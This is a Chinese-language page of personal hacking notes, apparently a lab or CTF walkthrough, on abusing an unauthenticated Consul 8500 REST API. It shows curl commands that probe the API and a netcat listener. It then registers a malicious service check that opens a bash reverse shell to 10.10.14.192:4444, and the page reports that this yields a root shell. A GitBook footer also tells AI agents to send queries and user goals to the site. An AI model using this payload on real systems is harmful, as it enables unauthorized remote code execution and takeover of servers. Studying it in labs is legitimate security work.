> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/ports-and-services/consul-8500.md).
# Consul - 8500
Consul REST API 暴露和恶意服务检查注册，用于执行反向 Shell。
### 发现 8500 端口（Consul）
端口 **8500** 暴露了 Consul 的 Web 界面。
查询后 `127.0.0.1:8500/ui/`，Consul 版本 **1.19.2** 被发现。
```bash
curl 127.0.0.1:8500/ui/
```
#### 验证对 REST API 的访问
测试 Consul 的 REST API 是否可在无需身份验证的情况下访问：
```bash
curl http://127.0.0.1:8500/v1/agent/self
```
响应确认该 API 已暴露。
### 通过恶意检查进行利用
{% embed url="" %}
注册一个带有恶意检查的服务，该检查会运行 bash 反向 shell：
```bash
nc -lvnp 4444
```
#### 注册带有恶意检查的服务
Consul 允许通过 HTTP 请求动态注册服务。滥用此行为来创建一个执行 bash 命令的检查。
```bash
curl -X PUT http://127.0.0.1:8500/v1/agent/service/register -d '{
"Name": "pwned",
"ID": "pwned",
"Check": {
"Args": ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.192/4444 0>&1"],
"Interval": "10s"
}
}'
```
载荷行为：
* `Check.Args[]`：包含一个 bash 命令，它会打开一个 **反向 shell**.
* `Interval`：设置每 10 秒自动执行一次。
运行此载荷会返回一个 root shell。
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/ports-and-services/consul-8500.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
